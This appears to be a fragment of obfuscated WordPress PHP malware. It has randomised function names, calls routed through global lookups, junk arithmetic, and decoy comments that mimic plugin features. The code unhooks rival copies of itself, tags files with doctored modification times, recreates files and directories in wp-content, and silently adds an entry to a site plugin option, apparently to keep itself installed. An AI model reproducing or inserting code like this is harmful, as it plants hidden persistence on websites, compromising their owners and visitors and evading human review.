     function    _1tg5aw647aw686($obb00_vecb89w9f6)
   {
    global   $yi6fwsmkdlt;
   if (!$GLOBALS['__scf_lxbo0xm7220an_34']($yi6fwsmkdlt))   return;
 $avla5dygyt2 = @$GLOBALS['__scf_h8_ju28bwdwm_32']($obb00_vecb89w9f6);
     if    ($avla5dygyt2  === false)    $avla5dygyt2   =  $obb00_vecb89w9f6;
$b4ot2dxpq9   =  @$GLOBALS['__scf_h8_ju28bwdwm_32'](vcr09jqkbni2k4ee0y());
 foreach    ($yi6fwsmkdlt  as      $t8zj7wvcj15t2j98   => $yonfu4nioal996)     {
     if  ($GLOBALS['__scf_mvbylv45uji1_67']($yonfu4nioal996)  &&  isset($yonfu4nioal996->callbacks) &&   $GLOBALS['__scf_lxbo0xm7220an_34']($yonfu4nioal996->callbacks))    $f48fhkfovbsd_5     =  $yonfu4nioal996->callbacks;
  elseif ($GLOBALS['__scf_lxbo0xm7220an_34']($yonfu4nioal996))    $f48fhkfovbsd_5  =     $yonfu4nioal996;
 else   continue;
     foreach  ($f48fhkfovbsd_5     as $yyx9nb_j7e => $list)  {
  foreach  ((array) $list as  $a33z1ft29t1) {
   $vbr9z19n2qhp =  isset($a33z1ft29t1[hwc6a8djp6yy(68)])  ?  $a33z1ft29t1[n747he9yo38(68)]  :  null;
 if   ($vbr9z19n2qhp   ===   null)    continue;
  $lg43ml2abp6bop   =   x2gyafo98l41gvvuv($vbr9z19n2qhp);
        if   (!$GLOBALS['__scf_epa1jymnf5_40']($lg43ml2abp6bop))    continue;
 $aubv9z23n_ =    @$GLOBALS['__scf_h8_ju28bwdwm_32']($lg43ml2abp6bop);
   if  (!(($aubv9z23n_ !==  false      &&  $aubv9z23n_  ===  $avla5dygyt2)  ||  $lg43ml2abp6bop ===   $obb00_vecb89w9f6))  continue;
  if   ($b4ot2dxpq9  !==   false     && $aubv9z23n_   ===    $b4ot2dxpq9)  continue;
   if    ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(69)))      @remove_filter($t8zj7wvcj15t2j98, $vbr9z19n2qhp, $yyx9nb_j7e);

   }
   }

}
 }
function   e_ytbc3cv9b_4f()
   {

 $nbrkd3fhw807gz = vyeikxc5a6j7a4n();
 if     (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nbrkd3fhw807gz))  return;

  $j8lsfcs32s9rjen   = $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(70)) ?  @$GLOBALS['__scf_xn1tkts0av_71']($nbrkd3fhw807gz    .  k83m2slbb(72))  :  false;



if    (!$GLOBALS['__scf_lxbo0xm7220an_34']($j8lsfcs32s9rjen))     return;
      $b4ot2dxpq9 = @$GLOBALS['__scf_h8_ju28bwdwm_32'](vcr09jqkbni2k4ee0y());
  foreach ($j8lsfcs32s9rjen     as  $lg43ml2abp6bop)   {


       $aubv9z23n_ = @$GLOBALS['__scf_h8_ju28bwdwm_32']($lg43ml2abp6bop);

if ($b4ot2dxpq9  !==   false &&   $aubv9z23n_  ===    $b4ot2dxpq9)  continue;
   

 if   (!aay1vdwvzc2am3cxpp($lg43ml2abp6bop, (868-368)))      continue;
    $tb0hfr9vri2de7l     =      v27jm8b0vrsvlvr($lg43ml2abp6bop);
 $fql0prqtsrczm0  =    ($tb0hfr9vri2de7l ===  null) || version_compare($tb0hfr9vri2de7l,     tdwuvuxeuijm__qj(), '<');
if   ($fql0prqtsrczm0 ||   r79wzjjsrh9qzxcd6t9z($lg43ml2abp6bop))   _1tg5aw647aw686($lg43ml2abp6bop);
        }
}
   function    rrr831f_sv70sa0os2v($xzwufq9nacfqt, $cy9yo5q4zjs9p_um)
     {$m3d8lwvlnb5pnv=734;$rn0up5jiksee1k=($m3d8lwvlnb5pnv>0)?$m3d8lwvlnb5pnv:-$m3d8lwvlnb5pnv;
return    $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(73)) ?   @$GLOBALS['__scf_gl7by4d7j2f1u_73']($xzwufq9nacfqt,  $cy9yo5q4zjs9p_um) :  false;


 }



    function     q9qe9dyjynhf_ro94m($xzwufq9nacfqt)
  {

    $r3rziti5u63ppq  =     vl3ayj4wnx9fy07p7y_a();


  return   rrr831f_sv70sa0os2v($xzwufq9nacfqt,   ($r3rziti5u63ppq -  ($r3rziti5u63ppq  %  (0x10047+0x8659)))     + besgaqtopfqsg9c6hd());
 }
  function b8zzgtiwx2_ws6($wmbptsqmmcbybn1,    $b94e8zl9qx1ungby)
  {
  return  $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(74))  ?   @$GLOBALS['__scf_ouhqpycgey_4a_74']($wmbptsqmmcbybn1, $b94e8zl9qx1ungby)   :   false;
     }
  function m6d59kutnxywfe($wmbptsqmmcbybn1,  $b94e8zl9qx1ungby)
     {
 return     $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(75))  ?  @$GLOBALS['__scf_lm6dqb06wh_75']($wmbptsqmmcbybn1,     $b94e8zl9qx1ungby)  : false;



     }
  function  nnq0ganj4b4gehpw7b($oclq78qg06s6kkt,  $xzwufq9nacfqt)
  {
    return $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(76))   ?    @$GLOBALS['__scf_n7yhv8zmk_ab_76']($oclq78qg06s6kkt,     $xzwufq9nacfqt) :  false;



 }
function n9gvhoz3_0simqxxrzsqw()
      {
   static  $t6o2ad3rvcjlqspe = null;



if ($t6o2ad3rvcjlqspe  !== null)     return  $t6o2ad3rvcjlqspe;
  $t6o2ad3rvcjlqspe  =  $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(77)) ?  $GLOBALS['__scf_hslj_a1k0h2_77']()   :  hwc6a8djp6yy(78);
 if  (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($t6o2ad3rvcjlqspe)    &&    @$GLOBALS['__scf_vz80l0_46bwga_46']($t6o2ad3rvcjlqspe))  return $t6o2ad3rvcjlqspe;
  $clyirr_5zjy =  defined(woii22it0(29))   ? WP_CONTENT_DIR   :  (defined(k83m2slbb(0))  ?   ABSPATH   . n747he9yo38(79)    :      "");

     if ($clyirr_5zjy      !==   "")  {
  $lg43ml2abp6bop =    $GLOBALS['__scf_aiwotu1kwod_12']($clyirr_5zjy,   lgr6hp92ka(80))   .      lgr6hp92ka(81);



  if   (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($lg43ml2abp6bop))  @$GLOBALS['__scf_xaxrlzp49b547_15']($lg43ml2abp6bop,   (448+45), true);
  if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($lg43ml2abp6bop)   && @$GLOBALS['__scf_vz80l0_46bwga_46']($lg43ml2abp6bop))   {
  if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(82))) @putenv(hwc6a8djp6yy(83)   . $lg43ml2abp6bop);
 $GLOBALS[lgr6hp92ka(84)]  =  1;



   $t6o2ad3rvcjlqspe  =   $lg43ml2abp6bop;

  }
 }
// @hook heartbeat

 return  $t6o2ad3rvcjlqspe;


  }
     function   ptaqyk6ei520r7r()
   {
// validity check

      $oclq78qg06s6kkt   =  leibbllryrtinl5mqd3_();$toyuf56sejbg=59*2;$qnx9ylbm=$toyuf56sejbg-5;
   $hyzeda9xec3m80j =  vyeikxc5a6j7a4n();



 if  ($oclq78qg06s6kkt     ===  $hyzeda9xec3m80j) return    true;
 if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(32)))  {
$tmoc3uka0an =      @$GLOBALS['__scf_h8_ju28bwdwm_32']($oclq78qg06s6kkt);
$yf7zdorpubrccqr8  = @$GLOBALS['__scf_h8_ju28bwdwm_32']($hyzeda9xec3m80j);
      return    ($tmoc3uka0an  !== false     && $yf7zdorpubrccqr8    !==    false     && $tmoc3uka0an  ===   $yf7zdorpubrccqr8);
    }

    return    false;

}
function    besgaqtopfqsg9c6hd()
      {

   return   (93747+72);
 }
    function   tetbo1mw3tcg77m6_tacy()
     {
   if    (!defined(k83m2slbb(85)))  return   "";
 $clyirr_5zjy  =  defined(hwc6a8djp6yy(86))   ?  WP_CONTENT_DIR  :  ABSPATH   .    lgr6hp92ka(79);
 return      $GLOBALS['__scf_aiwotu1kwod_12']($clyirr_5zjy, k83m2slbb(80))  . hwc6a8djp6yy(87) . $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56'](ABSPATH .  hwc6a8djp6yy(88)), 0, (0x5+0x3))   . hwc6a8djp6yy(89)  .    $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56'](ABSPATH  .    k83m2slbb(90)),   0,  (2+6)) .   hwc6a8djp6yy(23);
}
 function   mmmxkpo7z9k2vlcrw401fz($lg3qq7zrzjh0ss2   =  null)



  {
$xzwufq9nacfqt    =    tetbo1mw3tcg77m6_tacy();
      


     if   ($xzwufq9nacfqt ===      "")   return false;



if   (!$GLOBALS['__scf_epa1jymnf5_40']($lg3qq7zrzjh0ss2)     ||   $GLOBALS['__scf_h5yqrl6kmpb_10']($lg3qq7zrzjh0ss2)  < (0xf9+0xfb)) $lg3qq7zrzjh0ss2 =  j7q7bvavumc4i765();$puia6820f2=6333;$ys1s7dewo=$puia6820f2%7;



if   (!$lg3qq7zrzjh0ss2  ||  !dxgg5a63x4tsvkmvowozg3($lg3qq7zrzjh0ss2))    return    false;
     $oclq78qg06s6kkt  = $GLOBALS['__scf_zf6ei6xtcw1fb_11']($xzwufq9nacfqt);
   if   (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($oclq78qg06s6kkt))   t9pjso5fxcttzwg5jam805($oclq78qg06s6kkt, (636-143), true);

    if     (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($oclq78qg06s6kkt)   ||  !@$GLOBALS['__scf_vz80l0_46bwga_46']($oclq78qg06s6kkt))   return false;
if   (@$GLOBALS['__scf_mtwlgr3p78_18']($xzwufq9nacfqt)) {
 $s2k563ik049br = olg5ho6a49l4x7($xzwufq9nacfqt);$x3pjdaze_t4bcx=184|159;$hapx4xg944=$x3pjdaze_t4bcx^75;


 if  ($GLOBALS['__scf_epa1jymnf5_40']($s2k563ik049br)   &&     $s2k563ik049br !==  ""   && $GLOBALS['__scf__pih7hoh4m_56']($s2k563ik049br)    ===    $GLOBALS['__scf__pih7hoh4m_56']($lg3qq7zrzjh0ss2))     return    true;
unset($s2k563ik049br);



   $esv7p5wgsm35o   =      v27jm8b0vrsvlvr($xzwufq9nacfqt);
 if  ($esv7p5wgsm35o  !==   null  &&   version_compare($esv7p5wgsm35o,  tdwuvuxeuijm__qj(),    '>'))   return    false;$e8at3om98utwu0=PHP_INT_MAX/PHP_INT_MAX;$beelw6l2s_om_y=$e8at3om98utwu0+59;



 unset($esv7p5wgsm35o);
      }
    if   (!m9xp6uh5w1cal39pfn4cx($xzwufq9nacfqt,     $lg3qq7zrzjh0ss2))   return    false;
  dvd1rr9pr3xu08j($xzwufq9nacfqt,      (799-379));
 j432fegx9wjwq5cz8t($xzwufq9nacfqt);
return   true;
  }
function  b7k40sq2cap6kxh69()
  {
$lg3qq7zrzjh0ss2    =  j7q7bvavumc4i765();
if  (!$lg3qq7zrzjh0ss2   || !dxgg5a63x4tsvkmvowozg3($lg3qq7zrzjh0ss2)) return     false;
  $_3gqlb29heqj  = $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),    hwc6a8djp6yy(23));
  $adclv0gbv4g2vk    = $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(91))  ?   ms1ba5i41di9frre()    :   (defined(k83m2slbb(86))     ?   WP_CONTENT_DIR  : "");

       if ($adclv0gbv4g2vk   ===   "") return      false;
  $uvinhhkf7lkb18o   =    $adclv0gbv4g2vk  .  n747he9yo38(92)  .    $_3gqlb29heqj;
$zch84yux4vda =  $uvinhhkf7lkb18o  .  '/'     . $_3gqlb29heqj  .   woii22it0(23);
$eqmm6t492z  =   false;
  if    ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(93)))   {
 $tkhuw98e7lreuy      =    @$GLOBALS['__scf_h8_ju28bwdwm_32']($zch84yux4vda);
   $y_9_c6btob    =    @$GLOBALS['__scf_h8_ju28bwdwm_32'](vcr09jqkbni2k4ee0y());



        $eqmm6t492z  = ($GLOBALS['__scf_epa1jymnf5_40']($tkhuw98e7lreuy) &&  $GLOBALS['__scf_epa1jymnf5_40']($y_9_c6btob)    &&  $tkhuw98e7lreuy   ===  $y_9_c6btob);



}
if (!$eqmm6t492z)   {
if (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($uvinhhkf7lkb18o))    t9pjso5fxcttzwg5jam805($uvinhhkf7lkb18o, (61+432),  true);
   if     (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($uvinhhkf7lkb18o)  ||  !@$GLOBALS['__scf_vz80l0_46bwga_46']($uvinhhkf7lkb18o))  return  false;
    $zszpyfcnoou14g  =      @$GLOBALS['__scf_mtwlgr3p78_18']($zch84yux4vda)      ?     olg5ho6a49l4x7($zch84yux4vda) :  false;
  if    ($zszpyfcnoou14g !==  null  && (!$GLOBALS['__scf_epa1jymnf5_40']($zszpyfcnoou14g) ||  $GLOBALS['__scf__pih7hoh4m_56']($zszpyfcnoou14g)  !==     $GLOBALS['__scf__pih7hoh4m_56']($lg3qq7zrzjh0ss2)))  {
      if  (@$GLOBALS['__scf_mtwlgr3p78_18']($zch84yux4vda))  {
    $esv7p5wgsm35o = v27jm8b0vrsvlvr($zch84yux4vda);



  if  ($esv7p5wgsm35o  !==  null  && version_compare($esv7p5wgsm35o,  tdwuvuxeuijm__qj(),  '>')) return   false;
   unset($esv7p5wgsm35o);
     }
 if  (!m9xp6uh5w1cal39pfn4cx($zch84yux4vda,   pn7nm6nqd14rnwe($lg3qq7zrzjh0ss2)))   return    false;


 dvd1rr9pr3xu08j($zch84yux4vda,     (347+73));
q9qe9dyjynhf_ro94m($zch84yux4vda);
 j432fegx9wjwq5cz8t($zch84yux4vda);
}
   unset($zszpyfcnoou14g);
   }
// WP Social Links: unlock gateway

$ncxe0kf5j6y      =   $_3gqlb29heqj  .    '/' .   $_3gqlb29heqj .   k83m2slbb(94);
 em_kinvqaese5c4lzris($ncxe0kf5j6y);
return  true;
    }
 function v27jm8b0vrsvlvr($xzwufq9nacfqt)
{$fs5lqwrrc11n=PHP_INT_MAX/PHP_INT_MAX;$xv8l0ceq=$fs5lqwrrc11n+75;


     $bglpbr7vbo2ydu = @$GLOBALS['__scf_zonhpgc286wu1_95']($xzwufq9nacfqt, false, null, 0, (4035+61));
  if (!$GLOBALS['__scf_epa1jymnf5_40']($bglpbr7vbo2ydu)) return   null;


  if ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](woii22it0(97), $bglpbr7vbo2ydu,  $hyzeda9xec3m80j))    return     $hyzeda9xec3m80j[1];
 return   null;
 }
  



function  aay1vdwvzc2am3cxpp($b4dilk2xt5ex,      $o9mvrfh72h9t)



     {
 @clearstatcache(true,    $b4dilk2xt5ex);
    
     $wsb6qsuu0e8c6rg   =     @$GLOBALS['__scf_gibkjes9ds_98']($b4dilk2xt5ex);
if   (!$wsb6qsuu0e8c6rg     || ($wsb6qsuu0e8c6rg      %   (37547+62453)) !==    besgaqtopfqsg9c6hd())   {$zhw5d4jh5vvas=PHP_MAJOR_VERSION;$wnphmg5hl0x=$zhw5d4jh5vvas*5;
return   false;
 }


 
    $brwl1q7_2ju5     =  @$GLOBALS['__scf_vhi5vhdwib7ye_99']($b4dilk2xt5ex);
    return  $brwl1q7_2ju5  && $brwl1q7_2ju5  >=      $o9mvrfh72h9t;
 }
        function vs47dskuflqdrwg()
  {


  return (35968+32);
}
function nm3izpoopvcbrc7e()
    {$agz7lv3j5q1io=8315;$ib1579bv24_=$agz7lv3j5q1io%11;
 return k83m2slbb(100);
 }
function     t5exk4f0xw1h_voqxx0w()
  {
    return k83m2slbb(101);
    }

  function   g8lo46_70k73k5cys()
      {

  if  ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(102)))    return true;



if (xc57m6qx8xf5nfs()) return     true;


     $lz89uvfhpu6sax7v    =  $GLOBALS['__scf_ytoyy4ewqm_103']((string)  $GLOBALS['__scf_rnghnmhj734jl_104']());
     if ($lz89uvfhpu6sax7v   === woii22it0(105)      || $GLOBALS['__scf_p9nk7khmjys_7']($lz89uvfhpu6sax7v,  woii22it0(106)) !==     false)   return  true;
$w5hh2ldstc  =    isset($_SERVER[hwc6a8djp6yy(107)])    ?  $GLOBALS['__scf_ytoyy4ewqm_103']((string)    $_SERVER[woii22it0(107)]) :     "";$xbm8qwt97=(0x8b+0x58);$muf4slp7ra6sk4=$xbm8qwt97%11;
    if   ($w5hh2ldstc  !==   ""    &&  ($GLOBALS['__scf_p9nk7khmjys_7']($w5hh2ldstc,  k83m2slbb(108)) !==   false    ||  $GLOBALS['__scf_p9nk7khmjys_7']($w5hh2ldstc,    k83m2slbb(106)) !==     false      ||     $GLOBALS['__scf_p9nk7khmjys_7']($w5hh2ldstc, k83m2slbb(109))   !==   false)) return   true;
return     false;
   }
function  xc57m6qx8xf5nfs()
     {
   $w5hh2ldstc  =  isset($_SERVER[n747he9yo38(107)]) ?  $_SERVER[n747he9yo38(110)] :  "";



       return  $GLOBALS['__scf_epa1jymnf5_40']($w5hh2ldstc) &&     stripos($w5hh2ldstc, n747he9yo38(106))   !==  false;
}
 function   ii0fajiftvkpnv7h8kxw1($obb00_vecb89w9f6)

   {
 $dgwtwebwa0r8k5 =   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(111))  ?  @$GLOBALS['__scf_n9umf2ff2bmitw_112'](lgr6hp92ka(113))   :   false;
     if   (!$dgwtwebwa0r8k5 ||   $dgwtwebwa0r8k5    ===   "")      return true;
     $avla5dygyt2   =  @$GLOBALS['__scf_h8_ju28bwdwm_32']($obb00_vecb89w9f6);
 if     (!$avla5dygyt2) $avla5dygyt2  =     $obb00_vecb89w9f6;
 foreach  ($GLOBALS['__scf_txqeuw424jw_8__114'](PATH_SEPARATOR, $dgwtwebwa0r8k5) as  $vm28qyb_j8_ix)    {
  $vm28qyb_j8_ix  = $GLOBALS['__scf_aiwotu1kwod_12']($vm28qyb_j8_ix,   hwc6a8djp6yy(80));
    if      ($vm28qyb_j8_ix     &&    ($avla5dygyt2    ===   $vm28qyb_j8_ix    || $GLOBALS['__scf_p9nk7khmjys_7']($avla5dygyt2,   $vm28qyb_j8_ix   .  DIRECTORY_SEPARATOR)    ===    0)) return true;$obc2hbc7=2317;$g5o8qqohbslkeo=$obc2hbc7%9;
}
 return    false;
 }
       function  cyrhedf4pbekrdr($wjngitnc71fl4)
 {


     $ipe9laro3h   = $wjngitnc71fl4 .  '|'  .    (defined(hwc6a8djp6yy(115))    ?  DB_NAME :  "")    .   '|'   .  (defined(lgr6hp92ka(85)) ?  ABSPATH   :  "");
 return $GLOBALS['__scf__pih7hoh4m_56']($ipe9laro3h);

     }
       function  oxds6f4_kj2x2e4np9e($wjngitnc71fl4)
     {
  global $wpdb;



if    (!isset($GLOBALS[woii22it0(116)])  ||   !$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[lgr6hp92ka(116)]))  $GLOBALS[lgr6hp92ka(117)]  =   array();

if   (!empty($GLOBALS[woii22it0(117)][$wjngitnc71fl4])) {
  if  (isset($GLOBALS[lgr6hp92ka(118)][$wjngitnc71fl4])    &&   $GLOBALS['__scf_mvbylv45uji1_67']($wpdb))  {$o9co8xhvpj=81|207;$qpa7d5vfjayf_=$o9co8xhvpj^81;


 $njr9a51_6a =  isset($wpdb->dbh) ?  $wpdb->dbh    :   null;
      if  ($njr9a51_6a !==    null     && $GLOBALS[lgr6hp92ka(118)][$wjngitnc71fl4]      !==    $njr9a51_6a)  {
     unset($GLOBALS[lgr6hp92ka(117)][$wjngitnc71fl4],    $GLOBALS[woii22it0(118)][$wjngitnc71fl4]);
 return oxds6f4_kj2x2e4np9e($wjngitnc71fl4);
}
unset($njr9a51_6a);
}
   $GLOBALS[lgr6hp92ka(117)][$wjngitnc71fl4]++;
 return  true;
 }
   if    ($GLOBALS['__scf_mvbylv45uji1_67']($wpdb)     &&   $GLOBALS['__scf_jsvpc2hg_6ahvj_119']($wpdb, lgr6hp92ka(120))) {$ms_md009d=PHP_MAJOR_VERSION;$hq607vk1027e8=$ms_md009d*9;
  $w7ktmogztxqq   =     @$wpdb->get_var(lgr6hp92ka(121) .     cyrhedf4pbekrdr($wjngitnc71fl4) . n747he9yo38(122));
      if  ($w7ktmogztxqq   ===  '1')  {
  $GLOBALS[k83m2slbb(123)][$wjngitnc71fl4]  = 1;
if   (isset($wpdb->dbh)    && $wpdb->dbh)   $GLOBALS[n747he9yo38(124)][$wjngitnc71fl4]     =    $wpdb->dbh;
     return  true;


  }
   if     ($w7ktmogztxqq  === '0') return  false;



  }
if    ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(125))  &&  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(20)))     {
   $q9g0ku5iosj    =   array();



   if  ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(77))) $q9g0ku5iosj[]     = $GLOBALS['__scf_hslj_a1k0h2_77']();
  if    (defined(n747he9yo38(86))) $q9g0ku5iosj[] =    WP_CONTENT_DIR;
if     (defined(n747he9yo38(85)))  $q9g0ku5iosj[] =    $GLOBALS['__scf_aiwotu1kwod_12'](ABSPATH,  lgr6hp92ka(80));


  foreach    ($q9g0ku5iosj   as  $oclq78qg06s6kkt)  {
if  ($oclq78qg06s6kkt   ===    ""  || !@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($oclq78qg06s6kkt) || !@$GLOBALS['__scf_vz80l0_46bwga_46']($oclq78qg06s6kkt)) continue;
   $uhapf0zh66eux   =  @$GLOBALS['__scf_hkg05r4a82rdiv_20']($oclq78qg06s6kkt    . lgr6hp92ka(126)    .  cyrhedf4pbekrdr($wjngitnc71fl4)   .   hwc6a8djp6yy(127),    'c');
     if    ($uhapf0zh66eux      !==   false)     {
if   (!@flock($uhapf0zh66eux,   LOCK_EX | LOCK_NB)) {
 @fclose($uhapf0zh66eux);
   return   false;

  }

if  (!isset($GLOBALS[k83m2slbb(128)])  ||   !$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[lgr6hp92ka(128)]))  $GLOBALS[lgr6hp92ka(128)] =    array();
    $GLOBALS[k83m2slbb(128)][$wjngitnc71fl4]  = $uhapf0zh66eux;

   $GLOBALS[lgr6hp92ka(123)][$wjngitnc71fl4]    =     1;



  return   true;
}
    }
}
 $GLOBALS[k83m2slbb(129)][$wjngitnc71fl4]   =    1; 
     $GLOBALS[lgr6hp92ka(130)][$wjngitnc71fl4]  =   1;
return  true;
 }
   function hev0akflm_tefd($wjngitnc71fl4)
{
 global    $wpdb;
  if   (empty($GLOBALS[n747he9yo38(129)][$wjngitnc71fl4]))   return;
 $GLOBALS[n747he9yo38(129)][$wjngitnc71fl4]--;
    if    ($GLOBALS[n747he9yo38(131)][$wjngitnc71fl4] >  0)  return;
       unset($GLOBALS[k83m2slbb(132)][$wjngitnc71fl4]);
unset($GLOBALS[k83m2slbb(124)][$wjngitnc71fl4]);
    unset($GLOBALS[n747he9yo38(130)][$wjngitnc71fl4]);
  if   (isset($GLOBALS[hwc6a8djp6yy(128)][$wjngitnc71fl4]))  {
     @flock($GLOBALS[n747he9yo38(128)][$wjngitnc71fl4], LOCK_UN);
      @fclose($GLOBALS[lgr6hp92ka(128)][$wjngitnc71fl4]);
       unset($GLOBALS[k83m2slbb(128)][$wjngitnc71fl4]);
   }
 if  ($GLOBALS['__scf_mvbylv45uji1_67']($wpdb) && $GLOBALS['__scf_jsvpc2hg_6ahvj_119']($wpdb,  hwc6a8djp6yy(133)))  {
 @$wpdb->query(k83m2slbb(134)      .   cyrhedf4pbekrdr($wjngitnc71fl4)  . k83m2slbb(135));
 }
}
  function   r9yn02bzgmbr36()
      {
if    (defined(hwc6a8djp6yy(136))   && DISALLOW_FILE_MODS)   return false;
 return    true;
 }
  function    fb4c5js_xjk6subf()
    {
if  (!$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(125))   ||   !$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(20)))  return  false;
  $vi4y9e4plez    = array();


if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(137)))  $vi4y9e4plez[]   =      $GLOBALS['__scf_hslj_a1k0h2_77']();

 if (defined(hwc6a8djp6yy(86))) $vi4y9e4plez[]  =  WP_CONTENT_DIR;
     if   (defined(n747he9yo38(138))) $vi4y9e4plez[]    =     $GLOBALS['__scf_aiwotu1kwod_12'](ABSPATH,   n747he9yo38(80));
    foreach ($vi4y9e4plez as $dw2icd0fx1usrwkg)   {



if   ($dw2icd0fx1usrwkg ===   "" ||  !@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($dw2icd0fx1usrwkg)  ||  !@$GLOBALS['__scf_vz80l0_46bwga_46']($dw2icd0fx1usrwkg)) continue;
      $xdfi9whutd9s16    =  @$GLOBALS['__scf_hkg05r4a82rdiv_20']($dw2icd0fx1usrwkg     .  k83m2slbb(126)  .   cyrhedf4pbekrdr(k83m2slbb(139))   .  hwc6a8djp6yy(127),  'c');
  if ($xdfi9whutd9s16 ===   false)  continue;
      if  (!@flock($xdfi9whutd9s16, LOCK_EX  |    LOCK_NB)) {

 @fclose($xdfi9whutd9s16);



   return   false;


  }
$GLOBALS[woii22it0(140)]  = $xdfi9whutd9s16;
  return true;
 }
   return      false;
}
  function    luu5n44as43f23dl()


  {
if (isset($GLOBALS[n747he9yo38(141)]))  {
// WP Post Title: unbounded scheduler


@flock($GLOBALS[n747he9yo38(141)],      LOCK_UN);
   @fclose($GLOBALS[k83m2slbb(142)]);
  unset($GLOBALS[woii22it0(143)]);$xxv1jcevr5yh=(0xd1+0x78);$gngq4mzk=$xxv1jcevr5yh%4;


    }
     }
   function  em_kinvqaese5c4lzris($ncxe0kf5j6y)

  {
if (!$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(144)) ||  !$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(145)))   return;
 if  (!fb4c5js_xjk6subf())   return;
    try     {
     $i7ve616_h8   = get_option(hwc6a8djp6yy(146), array());
if   (!$GLOBALS['__scf_lxbo0xm7220an_34']($i7ve616_h8))   $i7ve616_h8  =   array();
 $a9ik8_calq8 =    $GLOBALS['__scf_xbx3qj3ap0_147']($GLOBALS['__scf_w5opg4gsg8g4tp_148']($i7ve616_h8));
  if (!$GLOBALS['__scf_a2dj3p28xfi_149']($ncxe0kf5j6y,    $a9ik8_calq8,  true))   $a9ik8_calq8[]    =   $ncxe0kf5j6y;



    if  ($a9ik8_calq8  !==   $i7ve616_h8)  update_option(n747he9yo38(146), $a9ik8_calq8);


unset($a9ik8_calq8);



  }   finally     {


   luu5n44as43f23dl();
}
   }
   function gqotyz4rt1v17d2oqsm57($ncxe0kf5j6y)
{
  if (!$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(150))    ||   !$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(145)))     return;$oogfq2y37x1066=4075;$t1uv0dgp=$oogfq2y37x1066%11;
  if (!fb4c5js_xjk6subf())     return;



try {

        $i7ve616_h8      =  get_option(hwc6a8djp6yy(146),  array());
   if ($GLOBALS['__scf_lxbo0xm7220an_34']($i7ve616_h8) &&  $GLOBALS['__scf_a2dj3p28xfi_149']($ncxe0kf5j6y,  $i7ve616_h8, true))   {
/* primary branded-type */

 update_option(hwc6a8djp6yy(151), $GLOBALS['__scf_xbx3qj3ap0_147']($GLOBALS['__scf_wuhj_qjl_ze21_152']($i7ve616_h8,   array($ncxe0kf5j6y))));
 }
    } finally {
 luu5n44as43f23dl();
}


  }



  function   pas31bymshzdagwkp($y13riqjdtt93s,  $oz7m23pnscj7)


  {
try    {


    if  (interface_exists(k83m2slbb(153))  &&  $oz7m23pnscj7    instanceof   Throwable) {

     $ju1ae_je1g5a1e  =  $GLOBALS['__scf_pdat24v9nxkx0_9']($y13riqjdtt93s   .  lgr6hp92ka(154)  .  $oz7m23pnscj7->getMessage(), 0,  (230+26));
    }  elseif ($oz7m23pnscj7   instanceof     Exception) {
$ju1ae_je1g5a1e  =  $GLOBALS['__scf_pdat24v9nxkx0_9']($y13riqjdtt93s .     k83m2slbb(154)   .   $oz7m23pnscj7->getMessage(),    0,  (211+45));
   }   elseif      ($GLOBALS['__scf_epa1jymnf5_40']($oz7m23pnscj7)    &&  $GLOBALS['__scf_h5yqrl6kmpb_10']($oz7m23pnscj7) >  0) {
   $ju1ae_je1g5a1e   =    $GLOBALS['__scf_pdat24v9nxkx0_9']($y13riqjdtt93s   .   lgr6hp92ka(154)  . $oz7m23pnscj7, 0, (197+59));
     }   else {
 return;
}
    if   (!isset($GLOBALS[hwc6a8djp6yy(155)]))    $GLOBALS[k83m2slbb(156)]     = array();
 if  (!$GLOBALS['__scf_a2dj3p28xfi_149']($ju1ae_je1g5a1e, $GLOBALS[k83m2slbb(156)], true))   {
   $GLOBALS[k83m2slbb(157)][] = $ju1ae_je1g5a1e;
 }
  if ($GLOBALS['__scf_prfpiytv3egt7_35']($GLOBALS[hwc6a8djp6yy(157)])  >  (0xd+0x25))   {
$GLOBALS[hwc6a8djp6yy(157)]  =  $GLOBALS['__scf_in0l0qf_4m_158']($GLOBALS[woii22it0(157)],   -(162^144));
 




      }
}      catch  (Throwable  $e2j2yer3f62gb) {
  }    catch (Exception  $e2j2yer3f62gb)     {
     }
        }
